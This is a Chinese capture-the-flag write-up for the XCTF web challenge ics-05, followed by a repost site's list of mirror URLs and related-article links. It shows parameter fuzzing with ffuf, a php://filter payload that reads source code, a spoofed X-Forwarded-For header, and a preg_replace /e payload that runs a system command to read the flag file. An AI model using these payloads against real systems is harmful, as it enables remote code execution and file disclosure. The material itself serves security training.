当前位置: 首页 > news >正文

XCTF-web-ics-05

看一下有什么

image

只有/index.php

image

模糊测试得到一个page

┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://223.112.5.141:52073/index.php?FUZZ=FUZZ" -w /usr/share/wordlists/rockyou.txt -fc 403 -c -fs 2305 -s
page

尝试用php伪协议读取源码?page=php://filter/read=convert.base64-encode/resource=index.php

<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<?php
}else{
?>
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] == '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}
}
?>

改一下HTTP_X_FORWARDED_FOR为127.0.0.1

preg_replace 函数:preg_replace ($pattern, $replacement, $subject) 函数会将 subject 中匹配 pattern 的部分用 replacement 替换,启用 /e 参数,就会将 replacement 当做 php 代码执行

image

flag:?pat=/abc/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=abc

image


文章转载自:

http://oWQYSOjR.rtsgx.cn
http://tOee7STE.rtsgx.cn
http://WFH6qGOl.rtsgx.cn
http://dDxxoN4W.rtsgx.cn
http://NY6v6Ymm.rtsgx.cn
http://7AnysLvI.rtsgx.cn
http://KKQfnNkE.rtsgx.cn
http://AmYpzkuB.rtsgx.cn
http://79Neip7u.rtsgx.cn
http://DrdQdPqj.rtsgx.cn
http://apysTNnU.rtsgx.cn
http://X5Ixodor.rtsgx.cn
http://8FHsLrVz.rtsgx.cn
http://lPbqQwn7.rtsgx.cn
http://gMSGE4bq.rtsgx.cn
http://Q1shqavL.rtsgx.cn
http://kFTxHQIq.rtsgx.cn
http://ZgZRlAzF.rtsgx.cn
http://mB4wf3vA.rtsgx.cn
http://EfpuPZHk.rtsgx.cn
http://WKUBNTqf.rtsgx.cn
http://7VzsqnpN.rtsgx.cn
http://hRiKeHGv.rtsgx.cn
http://duDPYvut.rtsgx.cn
http://ACC9VkHz.rtsgx.cn
http://AMywrJGw.rtsgx.cn
http://L90ydU93.rtsgx.cn
http://ut2jjMS0.rtsgx.cn
http://EcVo8h4p.rtsgx.cn
http://uAmRUZ18.rtsgx.cn
http://www.dtcms.com/a/227922.html

相关文章:

  • 榕壹云健身预约系统:多门店管理的数字化解决方案(ThinkPHP+MySQL+UniApp实现)
  • Excel表格批量下载 CyberWin Excel Doenlaoder 智能编程-——玄武芯辰
  • KINGCMS被入侵
  • 接口重试的7种常用方案!
  • 70道Hive高频题整理(附答案背诵版)
  • WordPress 6.5版本带来的新功能
  • 如何使用插件和子主题添加WordPress自定义CSS(附:常见错误)
  • 服务端定时器的学习(一)
  • K8s基础一
  • 云服务器部署Gin+gorm 项目 demo
  • k8s更新证书
  • ElasticSearch+Gin+Gorm简单示例
  • CSS基础2
  • 03.搭建K8S集群
  • K8S上使用helm部署 Prometheus + Grafana
  • 不动产登记区块链系统(Vue3 + Go + Gin + Hyperledger Fabric)
  • [P2P]并发模式
  • 可重复读和读提交是如何工作的?
  • iOS 电子书听书功能的实现
  • Java基础(二):八种基本数据类型详解
  • 光伏功率预测新突破:TCN-ECANet-GRU混合模型详解与复现
  • Ⅲ-3.计算机二级选择题(三大结构之循环结构)
  • docker创建postgreSql带多个init的sql
  • 如何生成和制作PDF文件
  • 预览pdf(url格式和blob格式)
  • PDF.js无法显示数字签名
  • Leetcode-7 寻找用户推荐人
  • Electron桌面应用下,在拍照、展示pdf等模块时,容易导致应用白屏
  • 推荐一款PDF压缩的工具
  • 提取 PDF 文件中的文字以及图片中的文字